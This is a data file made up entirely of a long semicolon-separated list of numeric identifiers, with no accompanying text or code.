896;25168;87260;39622;90713;20985;90098;103922;56059;94375;71218;43174;96958;90510;21628;59726;77604;25761;17362;24262;51939;77168;24340;74221;78066;32505;78746;11812;10808;17743;35805;94009;91011;11606;57980;71616;11075;33789;19513;80523;62906;104274;17801;41947;13645;20974;59643;70971;61645;80908;42832;71459;12248;72090;59317;100175;78386;24271;93226;46172;92410;86209;69098;11907;76166;42410;10012;64380;62637;88639;69275;90427;63230;51903;23784;11446;10026;65941;57619;10433;56123;79249;79421;81179;23999;84918;58659;76869;66926;21597;92023;70626;62519;47800;48984;26968;15707;81545;22003;36127;92495;14338;24279;85884;12297;11092;66970;22257;42054;16320;103864;45110;38866;64838;10664;104638;45513;20088;72140;79666;10346;33869;19587;16476;100551;35914;34680;65931;84242;10358;64990;35628;95882;48958;23733;31408;12027;87917;57950;70212;29724;31728;59078;62583;62747;58348;58570;44943;83139;20382;91991;11020;21339;31191;31119;78479;81522;62076;40820;82665;62372;25683;20394;72169;80965;100178;70765;61531;81736;61536;67231;40771;97990;83440;48957;31641;11821;77686;11418;84737;31856;91007;33875;11226;73732;17607;65915;53573;84234;39537;97834;11223;76938;70746;20300;14639;22305;1337090;19715;102862;11111;92627;84153;88489;20012;17637;70730;90149;66361;20904;102585;34820;100155;56928;25671;89106;80496;26071;11416;97945;95767;26922;20285;58593;80334;11593;70496;77329;14192;92626;44871;16363;49959;19944;80524;62438;88808;58965;10501;11255;69838;84501;94398;18183;21643;102274;83032;15564;19269;71520;93110;32311;99593;41000;72559;10298;68927;100160;200021;11173;74235;60093;18430;26185;81884;77326;84568;76764;87240;12034;70846;60021;11866;88102;101843;38695;47125;10139;99476;10165;72334;57042;94388;11920;100188;33225;47711;25295;10470;89673;82852;70623;76872;19393;55786;54986;29832;48292;43089;19521;21323;40806;18263;20210;72037;25837;87878;93476;23756;102364;66037;11330;96146;72671;87819;90351;13845;35351;40351;11196;51186;89105;64790;96630;76110;76774;40450;70884;62008;11528;93815;103533;87125;73830;49217;42255;81782;46224;93401;36184;66864;18024;14377;20811;30110;78776;38879;59373;18299;10359;82472;51174;57974;93529;33275;90431;42291;23750;100994;10528;50512;45516;103963;24740;102200;49035;39535;71461;53373;73518;102037;100172;91962;18184;71462;71434;18292;77166;71053;100619;87893;73480;95480;44644;36045;96270;56392;82854;69424;11401;70564;19400;97736;73758;22185;21186;17836;86191;79440;76992;18038;100156;1337229;50650;10263;104433;87325;63066;40549;77964;24780;100847;104352;74241;89780;11318;86674;96627;12216;94369;48316;22056;32315;10969;59370;49089;92701;11448;40927;36148;53450;69081;20957;23811;100300;39587;11141;11899;59358;97667;69020;25489;11732;86544;11531;11462;94635;18602;10586;18174;10153;46817;18640;89681;72606;46738;10579;64824;63301;35082;68958;49793;14371;100131;77745;42824;27857;25759;58747;57710;86603;64097;11497;72388;1337232;69482;86574;102361;18165;46225;16387;90774;48945;90438;94759;101025;86951;35619;72512;15457;20959;11852;15787;18402;34311;15935;26913;74220;58401;102358;33129;97386;59449;18586;86600;11463;62465;69263;1337022;21783;69325;17998;62308;10309;12293;40875;24236;17813;77377;87674;39347;84019;21241;93400;64715;10507;55803;11292;15975;83055;74439;56043;47106;11077;45121;91596;26914;93007;11259;70170;84288;11117;15987;16060;72344;81516;20004;93377;46017;42371;65882;16063;10361;20887;49211;103873;78691;58514;62046;11094;12255;76940;61449;10985;41608;69827;88528;91337;21213;17741;59209;44941;92360;94046;59504;26059;81186;56049;20148;14699;81316;11819;88934;46766;24245;100126;80555;78773;81169;14597;99687;15514;25218;44421;76791;39364;44316;92660;83742;43164;71572;77421;89114;93592;57919;91388;35281;21698;18000;15984;50087;15617;87371;33107;85386;22901;59041;80917;43006;31854;103133;10440;56452;25368;11080;49072;74025;58652;94197;73378;10703;95769;86661;92016;19308;48214;50530;89693;92465;86125;10747;20226;86317;10915;71843;11138;50069;72962;91916;46181;20893;43401;104177;18007;11192;50976;62689;11451;88596;42256;31682;57559;42895;14230;72025;18247;45552;66240;79083;84569;10971;10844;19601;69335;21016;50349;81650;69402;71096;65055;18016;89940;40548;78506;90889;11156;31342;11645;88933;19302;53297;78390;16232;18482;72618;76512;10387;52054;87598;91546;62737;11765;63201;16192;35588;21572;66527;30153;50574;18601;93383;11895;62119;39519;16094;45020;97996;18690;46332;81821;12091;46882;17796;56753;71219;79125;42340;73225;10308;96766;16161;10069;24263;22318;11595;51173;91130;76534;69176;73981;66784;11385;86316;53847;76588;22533;99288;79217;93075;67004;45392;76475;56979;10562;78078;25569;29993;42370;10321;58848;10121;103115;27536;69789;18047;62976;64837;71049;11815;62099;18117;64815;84549;22029;101979;56407;33548;89939;17272;93608;64260;93562;73208;20909;70585;102915;104896;31858;17290;49032;24277;56823;11748;15750;58899;1337028;73190;69306;19524;20906;88991;71787;56023;40772;50542;50859;10492;20090;19419;81671;32312;91515;55831;87848;57915;64502;44413;18565;34325;62468;10659;66963;45431;34195;95720;51840;70950;10871;47748;85844;70471;11170;104973;55552;26911;17225;80567;72183;14197;58106;62891;94576;21222;12016;55443;80359;70806;82569;10324;14350;17824;17218;100996;88653;92791;63562;10661;35649;80960;42337;81604;73332;84365;83744;11641;42980;60033;48976;86633;18295;49069;10031;86193;47158;58811;62942;21675;70949;80079;35730;71157;69316;88965;100193;18659;20303;45502;17999;56244;66764;56824;59958;11750;70067;29725;95920;14825;49220;77171;56995;63426;36132;12127;82822;11766;95924;104050;49957;105007;10162;84795;11422;70447;20301;64437;79839;14613;95766;25036;70135;54953;11509;21729;77746;86251;22298;21778;15760;70888;49961;80306;55448;63166;69864;42896;95027;72837;90591;40871;61598;64994;20001;10674;61488;24246;101895;19774;10329;20061;58205;89676;10443;99513;89037;72713;92427;83362;21141;41014;18357;29982;93197;11366;22233;12263;73964;40825;90712;87870;101372;102265;50303;11112;10986;10469;40662;25689;81377;94437;21626;100550;72369;15717;74120;78768;32433;70915;94252;20958;43068;10639;11791;40619;84049;26927;42843;19300;10078;92361;72929;11670;99986;35076;64294;103253;40407;88645;76964;44069;10295;14196;94106;72371;25490;78439;77860;77665;31660;80479;66482;17974;34432;58907;50413;11757;49948;11751;39588;15401;11717;21782;10340;81488;59684;89116;103504;73137;103512;56051;10422;62704;65916;11334;101899;67141;15397;24816;11584;89054;69924;104145;82080;104555;38717;12219;11081;31349;76772;200011;104632;55905;64245;41062;66268;69948;67127;81437;11500;103305;20372;53859;16332;10367;16000;11203;85662;14243;82498;20317;31050;57890;17256;51926;73292;73206;39449;89675;45111;10417;24265;73611;81553;10618;94053;73894;66995;80457;39006;45593;11118;11857;95392;92820;87326;96663;20813;86699;50086;49052;85241;48285;18181;61571;18243;32397;62182;59556;65983;15392;99520;77571;59038;88041;85848;101903;71229;58426;11062;10829;35363;76597;46255;69378;44423;77222;104361;51190;100170;38155;94391;32318;35702;11602;10962;56210;24782;103749;10828;69059;73524;17231;34205;10193;73528;49307;11381;66404;56050;34269;84194;11102;42424;71378;51902;81815;25149;51057;50614;35088;51893;12224;73349;10545;88413;73475;62690;10278;77538;22255;74008;69132;79583;78624;49808;88681;64842;10902;44339;11671;33437;46814;34741;80961;27608;72581;18354;93737;70889;102176;28361;76456;76775;82998;47114;21608;49088;200042;83299;47621;55764;22115;11976;61561;11165;11752;20806;70368;34743;10590;34217;58604;77528;38154;31039;83305;21746;44417;76454;91602;62977;49020;80495;20928;70333;10997;80203;81421;88411;20247;42348;20736;11534;22903;69282;11281;73762;14640;74225;65702;73620;93940;51575;17154;11372;78744;91005;64534;25951;24813;21693;19383;58456;62800;22273;22272;89027;64559;22049;10913;85600;93002;25459;21209;76592;82702;83350;78774;81552;25952;11383;90352;19939;10438;76530;61597;23815;86601;80855;85909;10015;10066;84921;78737;51910;35913;92035;35185;62682;88145;11811;21917;82081;81550;93026;85299;16125;93531;91812;91760;65896;12205;91342;45358;69274;70530;62626;66427;30055;58794;25757;36117;46789;47802;84796;62948;104051;90022;80887;87249;31094;14300;104047;17752;11708;39339;64713;82706;26962;20016;86150;22478;11343;62783;49308;10725;64483;15555;14655;84621;53512;19780;61733;11169;94761;51921;82575;94165;10865;51118;66866;70879;87220;59908;63421;104046;69922;12110;38197;34501;22315;69840;49952;43827;40405;85602;85326;18460;18611;11853;17697;99308;17316;15763;66637;35751;63303;54628;95880;67099;69035;17704;78389;73338;22117;15627;86823;100783;72432;47888;23810;29747;58343;25821;33562;65059;27040;91192;10122;44875;11647;84797;25663;64645;17228;11158;11398;103565;73330;67211;71494;12038;70886;71522;62370;16336;83954;76129;35687;26067;99661;84223;91223;58512;12090;56245;67207;58183;88045;24786;17223;24331;19473;84879;20808;52002;53385;63477;83278;11825;19593;77706;55627;66414;65601;84763;15620;103857;43815;86571;101818;44382;22186;65733;57352;15399;19427;19678;80331;76404;10539;100051;81811;17157;58601;21576;23869;39437;72373;78919;62413;71993;90408;70139;73203;99514;19756;11242;16299;11436;91822;87124;70720;76259;77164;65947;10669;19429;10899;59685;63112;12051;77302;83814;74367;84917;65196;74243;102711;25996;11317;63380;65984;13844;53360;69181;84580;43173;11275;15926;10412;72213;10118;84669;50426;72264;91335;12087;11089;42338;69379;10612;20337;55470;70197;105001;71954;94108;22527;11742;31419;76410;73491;49001;77534;16111;65198;16046;69472;76591;66520;11149;200036;85275;55436;78748;65550;97665;10353;20322;100167;87943;81422;99590;77985;73439;19495;65576;88937;10965;57346;55460;11439;78077;83185;73598;10991;103568;23836;99729;97526;74148;76570;50451;10044;31608;22124;19416;25491;61609;51160;91502;70616;79723;78012;83817;57577;48973;11428;10531;63226;62412;70457;11660;51164;18365;67120;44341;42898;81267;100959;66761;66392;61516;24022;50000;99470;12096;87309;33135;76055;45381;103052;91131;81743;24785;81745;34084;97859;13638;23806;39481;59847;80490;91897;31860;21092;71263;14829;76581;68935;90764;104387;11508;18535;63548;10456;83732;88527;47680;47899;56007;64570;88384;70592;76309;71974;76866;18294;48961;72903;50385;11120;31133;50348;28329;104388;81551;83487;73992;15938;39501;91600;100351;21687;42438;11550;72181;76407;49696;70482;11855;20132;84399;10288;104101;99662;24281;14226;10584;95476;11429;54584;73806;16479;44075;11027;35308;47832;58431;88714;101817;70855;83369;51090;11685;69931;36129;56472;54969;11043;20379;17721;83304;103975;49978;30051;21645;83360;88530;64588;83955;69933;10919;10189;89118;66319;62811;94610;29895;48995;20749;51904;67212;21308;19392;97578;12260;93911;35437;72580;42292;91855;11375;40554;64457;52656;14256;72040;72620;40986;10487;77730;55926;26967;89784;70291;17203;50023;64846;69183;24276;10906;49999;90008;10274;80302;46885;73533;25929;71311;52584;58796;57711;104176;71095;21052;55690;11896;72909;12261;50084;88100;89783;25351;11049;27056;81594;30214;26919;91311;56319;70973;101847;59387;100574;12093;71846;104551;90604;28227;78545;10194;102019;14700;30130;95257;91899;85849;77409;90317;10477;11033;81601;92373;67232;72930;35657;52658;102821;82781;15479;51813;11022;11909;24737;17744;104661;16228;84089;41061;17308;46703;51168;20390;42842;17298;29801;53377;42262;56060;20292;87500;105023;17784;91895;16317;33745;103976;18532;62939;78511;88383;42254;44111;50048;64918;52532;22409;40853;87053;20968;69927;11325;10174;66526;20971;23804;18563;64829;55142;26023;54955;19238;78549;72042;94373;82270;10029;71635;11195;21673;34196;11130;55975;59756;92539;104043;11050;57709;55927;95474;97993;20892;58897;66860;12212;10151;10926;100000;79639;65881;61717;61622;11860;14831;80482;74189;10268;55549;16163;35060;16206;53382;76683;79273;38951;78890;10051;200030;99136;17337;72284;11307;84730;43028;94395;95630;33283;90786;42894;73382;58388;95722;19770;65046;200046;83738;94016;48243;11707;26012;70214;101812;10680;73303;100173;82770;72692;80858;46351;53375;97066;66895;69105;72582;103138;12011;70943;97733;64632;64574;90309;10052;10866;43828;64452;81298;46173;35219;12229;86873;56470;99029;71994;21240;59193;32325;18539;87054;43101;65736;77904;10090;12267;30109;17791;84766;44080;61646;48988;10008;79387;20224;69034;84574;12204;11294;10204;59097;15395;10203;28374;58003;44314;20336;10206;29929;104740;44320;34766;91604;72178;12251;44689;29250;10460;64621;77026;55902;58528;90602;18221;65612;50679;80918;76190;101165;16310;10183;65223;52000;49029;35750;14599;71437;11829;84923;64820;43163;11728;11612;66896;65049;70612;10155;24335;58133;31865;26199;10283;55795;71231;11677;10187;39365;60049;62009;90314;10275;33130;103506;51839;11251;93406;63337;81738;10497;59196;51987;60028;71054;15854;64582;96722;22196;60046;81735;85243;24356;88964;22417;19417;103695;31654;27598;14232;25769;42113;71429;76355;16229;91486;86470;25572;18641;103984;66865;91001;72742;14646;12254;79439;92434;69400;25763;1337005;16322;24336;34473;73133;67243;80963;50654;16477;86598;10619;73437;92415;11040;47781;94377;34406;42819;99289;97663;81787;88417;85962;12106;73574;11711;59116;77533;12236;31409;67210;81495;10215;91766;70732;15718;44876;19999;17771;12294;19596;16179;62687;65821;42110;69556;46349;56336;20286;42796;25687;87052;94514;45087;22189;87412;23636;17719;14713;19235;50977;65856;58349;38700;65927;91336;89755;63427;88579;100386;97020;29249;31046;11161;29994;14343;80832;74511;103534;10191;21674;42088;73914;71023;57317;92366;90442;103732;50978;60026;44937;71140;22480;17742;76312;62517;58009;84018;10923;86946;12039;56958;67125;34361;55639;86904;11780;12218;47801;69855;70079;100871;44383;82041;77478;19508;15708;51526;11209;45421;102269;42120;17768;47152;90831;34491;80202;104972;58661;92416;42978;28332;27582;57030;78011;101362;91000;105042;14722;11927;45478;40350;27855;55653;61714;59786;18813;90997;59208;34768;35467;40886;38688;69423;10445;81300;11875;58333;89685;58342;10762;10362;29309;72259;90357;17989;94136;10312;11839;65211;80199;31857;104052;43158;66722;54831;55025;24699;34850;25487;79126;73988;100168;34236;14220;12117;42833;11357;55169;90828;24242;10668;99028;15451;51171;72182;11177;10077;65970;85325;63453;11832;22408;96485;11379;56282;10302;15436;84221;21727;59241;76589;11162;27627;72504;60098;17839;64634;104996;65808;14181;59683;49175;81603;10389;10437;36216;58802;78074;14709;38808;58900;19752;20069;31683;32475;70531;53472;25294;21158;23978;80946;33817;104548;96393;19335;63372;49118;79860;25347;58654;76409;91014;70942;61434;77247;101268;63429;59846;74291;94671;33392;74495;10299;25702;22334;52458;73636;48432;83783;21162;24684;71046;50450;85331;87539;200049;19227;46182;79132;91609;82828;66696;11107;66813;10101;19518;70763;14584;19519;83141;71426;50547;104214;62028;26057;87925;11471;19516;104853;15396;79804;62681;17804;79690;39356;17748;62820;103053;17259;65212;94012;11417;25290;81268;76495;83297;49225;50692;58272;39563;84235;94640;66897;18301;91226;21556;66930;101302;62998;62759;63424;57461;16272;17794;73189;24329;103510;11546;99630;22254;93480;62355;50651;25039;17629;58327;103969;42478;89117;47136;14285;20385;81514;90025;55887;81702;45510;25700;16143;17706;65888;86322;56334;31788;14785;56751;92422;53811;47863;71841;90196;64487;18034;11007;55140;11348;58809;79215;39466;76252;11311;34216;16085;23724;50986;33815;17976;88578;29996;89113;20110;78920;95765;47681;84747;56306;78108;77531;82473;69444;102526;70097;92949;93408;12256;76308;104658;10993;72880;1337228;56737;74187;100573;25249;73080;73155;95716;10724;85402;35555;78482;33219;78431;11482;23782;14225;42107;100766;86445;101113;53829;104498;48950;96608;32400;73734;54970;57283;73343;59356;97891;51356;22867;56981;61492;53593;92439;53575;100025;25692;19557;96729;25025;61491;69926;89757;67123;21631;66351;22047;90763;68915;72286;33272;82855;46783;59714;50526;11109;59109;58591;23930;85346;18553;76458;47716;42308;93468;92018;95881;17672;13841;55471;11898;66941;92365;65950;12112;10049;17611;11822;14637;17297;14272;100957;53625;64287;11892;64843;18371;59655;44081;18628;15950;11970;58292;90407;11541;19499;101953;83525;48201;78915;25242;60065;95887;14664;42307;64298;101811;65889;90538;34695;97988;44059;50604;62313;73619;40984;81402;103924;10698;36161;56163;55903;74247;49149;73516;14284;42109;57600;69930;70850;38792;25023;63423;76411;47606;61494;11082;78627;17985;10257;14654;23997;19551;99731;94374;73989;12238;23972;83354;86818;79336;87766;103839;35451;63381;42108;25493;56241;69912;17831;64571;51342;78437;86323;99309;76215;200040;71858;103838;78429;90026;63618;74467;12059;26000;10838;25627;69038;23833;73682;77248;21185;87415;100768;21117;10050;71045;15450;45083;69420;11152;39331;18178;81595;50449;17212;92542;74249;22116;49646;15914;70883;16318;49014;90315;76621;65899;11932;11010;39447;11587;12000;58363;42475;63692;10423;59195;64921;21159;63063;47745;104639;99631;90566;42347;101820;77284;77001;21606;16123;26016;10856;66177;64825;56683;76937;38829;104570;77573;55993;17996;14274;69080;20973;36154;93527;53210;96002;82800;11594;69134;82773;45004;20384;94376;12240;11490;10192;200050;55133;76116;49028;1337002;18358;90940;14376;94365;11576;94575;14254;63560;19717;25216;36051;64244;59227;25524;22369;11287;18155;47022;70497;49699;76277;29834;34349;103420;16456;11622;11220;16316;69128;84046;87942;65985;62735;70302;76762;20865;87221;91917;11313;89925;39589;100161;31651;40988;104741;82583;33167;94290;96448;73831;85986;10254;11788;64723;70260;49086;89036;20321;40666;49237;56739;69137;58594;90246;100054;11351;59892;65857;12067;33522;68995;12268;17785;11369;55816;59461;33477;16339;91810;16124;90773;80221;58415;97997;89963;10697;1337009;40362;65890;57471;63551;102095;14278;62966;14360;88647;57943;51905;21785;21611;94633;72389;93001;42899;87171;56649;22046;24899;69269;30211;83815;100221;91821;49955;18658;32479;35041;73568;23644;35724;10376;100150;33393;35372;93222;10892;76944;18219;65701;57944;102842;44406;59528;59917;15972;12036;23829;12101;33872;10405;17749;15900;50562;99171;38985;14727;100759;10173;90799;65214;16126;79744;91765;72723;10746;63639;59501;44940;47605;102698;40419;50022;25220;90545;17795;20173;65875;80458;10256;12008;11378;40985;91764;22123;70587;72600;71377;72282;86945;100789;74253;22541;76529;99981;11865;11479;10110;97994;59642;70660;66499;73917;56176;69130;55402;33442;76596;62663;84571;93221;79584;11679;11328;78477;84919;82580;56053;12043;45039;44939;20977;11894;25336;57700;77503;104126;39467;88696;17219;76966;58655;17696;55811;48433;54989;32434;64913;11696;84368;25484;34412;85385;20298;74024;63352;72177;84290;57279;11761;72879;14656;11271;95469;50691;74245;28375;104629;39618;57029;16183;44657;25214;70628;25656;92821;47762;99168;90707;99130;79218;56317;17764;50860;54614;15852;11867;16162;15566;58968;66994;57273;50085;35824;11502;62782;97609;105000;22448;24273;11054;77541;14235;92944;26964;34730;11406;53845;33901;77712;24910;33903;93405;66987;39436;62029;52545;74466;34095;48286;85691;27619;71316;101294;34471;55692;19772;58450;11114;95290;12012;11392;17769;73610;23843;70948;42476;10675;14819;22128;45490;20978;86071;11601;79861;99026;86374;49000;10483;66671;43863;103786;10006;33106;62796;36144;74149;73756;95825;34121;73740;105004;93811;33822;59835;81515;31343;90683;34332;35749;95319;22312;64293;10904;25770;12108;61649;17638;63425;102267;21025;11191;79691;59325;51935;29869;34413;16331;18039;14772;10914;103505;11137;10934;44338;92789;101295;35779;10938;99439;63348;45395;91386;11453;84622;87823;20137;10079;69856;74261;80951;14641;27626;34049;47030;84020;72203;51836;64823;52536;64630;10728;67118;44426;89748;53623;76167;93473;45374;93346;48998;10901;56041;79585;93686;11106;19507;92757;85448;32121;94161;14187;85005;30107;86901;73531;45371;18176;73270;44419;45049;40468;20222;88713;11646;90541;11530;99437;78068;17739;17654;96873;22873;10439;91008;10402;24746;39808;78827;50070;74104;50432;78063;74288;34395;45429;20759;15641;91352;10564;66697;59967;88561;69060;86149;10374;83302;84826;97353;58992;58182;100671;83527;78541;71051;63289;72167;88087;94072;80120;102427;85333;86474;55543;93098;68888;99670;77373;23635;59857;10400;65194;33440;23699;92819;73134;84154;76510;95772;45627;80866;84220;33852;56954;72204;61395;84637;69369;77605;100790;69872;52026;83031;1337026;58453;103753;18046;91961;86850;77303;73291;47036;89724;103380;10282;97895;10214;56484;11614;42399;49779;76457;25026;96730;51176;16207;69371;15861;82708;10614;12637;25655;92019;95435;11562;48202;89752;1338001;44060;10522;35067;11219;62812;43069;43877;33505;81407;96908;58428;15466;44921;76124;67174;49693;22412;65604;25084;77728;58334;87263;95538;17821;38200;52713;104360;84090;55284;73920;35951;11306;11284;10310;73025;103675;15713;10565;14843;65126;56240;97943;87732;59408;11199;56467;86444;66555;35261;48337;73621;101301;62184;47028;10207;51573;81554;99664;70881;31792;50384;66390;59057;97145;78584;11616;72416;34407;24901;14724;45411;15862;42086;49050;1337021;43060;81810;53449;31417;70766;23816;48295;33879;51924;67144;35352;57080;31725;51351;69997;54943;83491;97328;57850;83488;92320;69180;55793;81548;86048;12047;81670;200029;35725;60161;81825;55904;103135;34029;73916;103697;17162;51892;79442;10928;28330;86830;59055;64576;1338002;82899;77855;91010;15563;19748;18573;66308;29981;73674;103376;99287;72830;93828;103985;87417;57920;90542;47557;72260;12647;59558;42259;99663;45051;103781;13659;61774;45406;80118;12225;25754;35621;10613;16064;17787;30124;77813;11088;70627;24875;91003;21153;11844;10627;77021;56992;25337;46237;76192;96447;23925;24280;24864;65880;10676;74496;20729;20169;45590;103978;45430;11413;46839;33820;83266;11035;10956;18012;99200;76314;66325;56125;66174;25879;10300;11411;21697;76616;10554;11565;53336;97835;72430;34363;70257;74106;69272;11897;81246;11202;73132;18182;10260;66944;18413;17306;55983;99594;97941;16278;77687;70320;15974;73949;14315;42260;100127;10666;10976;102528;19397;92843;103788;33873;52457;61612;11900;57026;104383;73768;66422;103140;97991;46016;57460;77056;45359;21242;70343;73963;46203;70295;60035;88594;52543;78024;34411;15432;11666;94680;91547;83352;26020;45018;69995;71428;58976;11293;99586;49228;26921;96269;76427;104637;58352;17313;78507;90000;39520;10609;15996;103567;46883;70412;11443;70074;59968;84645;35743;97326;81791;10769;88718;71323;58452;17782;30216;93534;16309;62797;104276;65792;14307;18638;10721;20377;34346;28181;35930;102779;71537;92585;40850;48942;88380;22900;74270;62202;12031;62757;62986;14273;44987;62989;59246;33856;10581;70142;94515;64914;69101;73415;55668;17970;24712;62563;18403;87947;22498;31418;90191;90590;63155;100260;71889;83733;76146;66306;47138;81974;94634;92440;73380;16312;89083;101773;76311;81247;19256;23977;28226;18258;33812;90199;90567;17351;88680;101162;42820;99982;23970;73738;56972;11264;76474;78513;49953;51914;62283;24235;11341;71177;33095;79862;56736;70090;11917;76770;55775;96803;90310;51162;35287;51177;11382;11876;22188;56024;24239;65876;72173;17282;76344;50510;83731;93077;47746;92823;83529;51080;77962;58400;54617;85804;91677;10768;51395;22333;86327;23963;78679;11498;71892;10303;59110;48363;84085;34404;33094;74147;90439;18029;91227;74269;66718;22269;58416;62101;10046;58389;11878;97833;29700;40494;16175;63147;31726;93482;88715;27585;34244;77710;53547;17327;44874;104847;10983;62310;69043;31129;19716;84057;89938;11087;71264;11560;19311;65222;11044;31040;70073;21039;11946;74162;58748;51367;1337013;42893;78828;104897;69182;65656;73623;74146;61708;11704;65925;52483;33268;99364;17205;87262;39342;27596;17827;58745;62686;100158;52668;20826;25422;61430;69993;71976;32130;40849;84959;87735;35559;21049;66273;11554;20096;92825;13857;71174;15710;18559;73098;77285;96611;76792;58620;70566;99985;61448;24872;90153;57713;21676;10379;17647;27524;72331;51120;79131;17700;83267;82028;10708;94008;96391;59400;30122;89104;83469;19550;87769;18133;46739;63059;19585;45043;69983;24001;14308;32442;95877;19759;94160;19334;94397;81976;63691;86950;45568;84402;63304;80566;93225;18679;40821;76536;12082;103467;52755;91488;16062;12060;81593;90705;55629;44079;19514;102921;54613;61573;57599;46868;55976;21332;100176;76973;54615;59906;52053;11721;84762;58592;22028;58648;10709;93005;59608;47588;61681;200005;47743;34060;27576;49040;71992;66719;55544;71464;29871;93379;78857;57690;91993;85538;10304;79720;10064;78069;10729;77004;81261;54582;49223;85223;80399;65670;22535;72393;103254;58429;11933;18051;94406;87421;11374;20825;85220;48204;58089;17350;81819;44401;72394;90509;50625;78914;101303;65765;11688;58565;73520;14248;14644;10757;76873;81147;15982;27856;18255;21302;10407;34162;59656;77811;12020;65255;62904;24014;55817;42346;11207;21733;79235;91894;35321;13843;20185;95762;104557;65820;66969;67214;86764;57914;85580;85513;30212;82530;22530;34347;70463;74266;23935;71861;87727;25681;53390;17614;54841;35474;17258;91816;77780;66556;11425;65675;86311;11985;33882;91230;53383;63399;84729;43850;93235;11771;77051;20846;51973;45506;44920;65688;11004;19289;96534;38157;35373;46313;35713;71521;31466;34507;91624;24355;15621;97214;48906;24012;45085;105040;19408;50597;31464;92700;18177;69880;10947;99933;97989;10114;66267;51454;92870;62030;82029;71926;100177;93048;21227;24013;26061;11921;19700;83904;70455;74366;58650;65790;62788;58386;104974;47701;94408;42263;61709;72103;68933;64821;10636;69133;42423;29222;85330;12199;48954;103137;63339;61565;66419;90360;85688;45405;10458;103536;87725;47164;87322;10104;55929;76117;85987;46677;62734;91340;67228;81382;11713;20183;69835;52975;78771;30209;51093;76617;77024;17688;44944;21091;11493;84502;17799;57981;11639;100203;18225;17734;58040;20389;14304;20246;21688;84800;87242;64685;76459;100844;31192;70098;15952;81182;11473;87818;80912;25612;69185;69016;65131;93528;71346;91813;10826;104144;58537;34238;92372;10341;76054;57604;10441;60034;10076;73471;93812;76795;25121;42180;77159;11786;78428;34447;62588;42932;81262;14634;90003;63094;90708;91622;17141;10778;18405;97861;32376;77731;93223;78585;96629;29728;77030;19607;91127;17746;55534;21035;62580;72108;11702;10083;93440;101374;81510;22181;76260;57541;23803;79253;59792;54300;74248;34461;51370;103358;84799;11943;62558;103789;64558;23801;45140;72683;56229;43063;95928;97211;57728;97730;25343;26201;30253;99032;36102;35978;47582;10223;70838;70446;51456;89670;64936;71351;65603;93563;34744;71457;71566;40797;10065;66861;102590;78013;10473;57825;12010;11302;72961;35737;33395;10258;17747;89868;22126;91999;63075;70622;11431;88695;22870;18622;25022;21557;70089;96765;88638;103129;93347;86721;11147;70624;33821;97610;74107;20982;53489;58898;49038;90888;55885;17194;11009;94329;10972;19398;15402;11212;77172;91714;55286;71568;104357;40803;62973;25998;76113;55792;24912;99398;44595;11501;34418;73026;39783;48205;56750;40802;72336;93004;11232;45503;74163;42148;66927;104408;64379;46199;20746;38198;70396;70100;15443;69327;47783;100104;11205;12073;81978;88563;72603;91102;96453;97894;11545;76598;65058;32314;13847;20373;85449;42264;79638;25161;56197;55403;72119;102355;16323;91338;59502;25088;61460;59916;10068;58147;34304;64785;11727;52459;59836;57540;57918;62439;42872;58657;25485;71460;78088;101370;103221;12265;31136;46705;16189;72691;69262;40888;73950;25927;14674;51816;17713;85348;61775;10478;72587;50346;72218;77186;73570;59248;70656;94577;24272;35043;96142;88379;82038;23778;97471;26918;76498;91820;73204;27054;53624;88086;90893;72669;11018;100099;83958;57557;49146;21627;46838;46816;91345;89754;45050;45489;11744;81494;96833;60084;84916;11762;76164;19496;103459;48762;62394;20253;92433;90625;34781;88985;11700;65898;45423;55411;15394;10399;82032;55969;69846;76994;20175;10854;64689;40578;91605;16364;62368;20245;51837;33487;99509;55410;34409;16474;34385;89690;34267;97999;73688;58105;18249;10655;49021;34156;59112;42336;31968;10512;38948;50380;10665;24903;46737;45554;96271;23996;84196;69057;93192;33277;22231;64580;100843;66541;72666;51143;52766;84367;10693;63111;100107;21322;80442;81376;86250;59243;55573;91100;69448;103927;63232;78109;15562;38742;26072;66634;70613;19947;80481;56650;11737;11778;81512;10147;20211;71644;71038;65602;64451;73274;11573;57350;31648;64474;71158;33762;35375;24906;72884;59035;71942;59729;65807;20925;97469;61393;36185;50659;56008;11522;48959;58206;11615;89035;64361;19942;83526;65996;72775;87420;17818;11667;64934;33274;100417;29928;101265;94379;18502;74242;73622;72374;32319;11459;95886;48760;23831;10498;31656;65810;77729;73982;31048;90192;17808;45112;92517;104900;11836;40778;78690;25925;78434;54606;25335;35042;66760;53384;18376;82707;32055;51849;27802;61461;10058;11472;64876;28183;90920;11024;11134;44135;17243;83030;80919;69376;100618;94049;70026;56310;86427;11314;92459;69170;88051;38746;78604;51124;56983;69319;29701;36217;78893;77029;12208;70088;22021;23649;78775;40495;71439;104631;14319;48289;11078;99995;64813;17759;68914;48943;52042;100717;54997;73616;70024;10297;11913;52613;56038;10089;15468;27522;84827;38889;81816;85736;38156;10205;79441;11441;76915;56022;14195;10317;73853;76767;15770;81259;71320;19764;16195;34265;66381;85082;92556;24018;11783;86852;73269;92945;18132;70121;100720;11030;67024;71314;62350;17307;72722;17152;31652;20134;11908;44645;84505;71022;66973;91782;40435;63418;87776;71312;18461;11936;11735;74010;101088;101026;62591;45006;22361;200028;11580;64456;93963;17602;64788;51142;103122;55571;100615;103701;12217;17656;51418;11139;70091;53451;1337221;10716;79245;99935;25932;93410;53632;78473;58645;11547;73476;65668;26966;68937;72009;96281;15985;48290;59862;82779;102360;63281;53379;19511;42435;91828;26013;94513;69238;25120;17778;69826;100425;81485;12104;11064;77823;15624;40889;33860;91348;102586;77149;72941;40552;91193;71946;16200;93003;74161;11574;82031;73318;63302;43007;33104;18486;89682;14615;96724;29870;44384;73246;95875;77536;92466;104634;11496;54647;90834;22964;35452;21307;100161;10930;82823;59360;48434;94630;99233;82994;74157;40349;77375;95926;63621;53877;95950;44045;51955;21309;40560;21330;81741;10535;78692;10210;55510;10011;34112;48948;10696;67171;90714;15613;17815;92417;59503;11859;77277;86820;79312;92555;87501;22932;76368;10408;78911;18415;14382;78393;100055;88044;78689;35633;10119;12099;15461;89830;86828;11850;35218;25662;58513;49056;17767;99365;92946;25345;10515;48996;10318;66993;61611;99523;81496;76388;23754;71217;33132;79234;97737;77437;86423;19769;69516;18401;77475;16223;90358;97354;40418;12259;67229;68983;77856;54602;31116;73182;100594;49053;11613;83734;89677;90007;15753;49773;78740;73456;40891;73755;57050;101365;77052;58413;66914;93611;93530;88807;74440;34083;85403;77501;20844;71859;11804;52014;96721;22874;73685;73342;64286;10496;21165;24874;10082;25992;62478;73344;63422;16198;73667;101085;10607;10393;85601;101902;62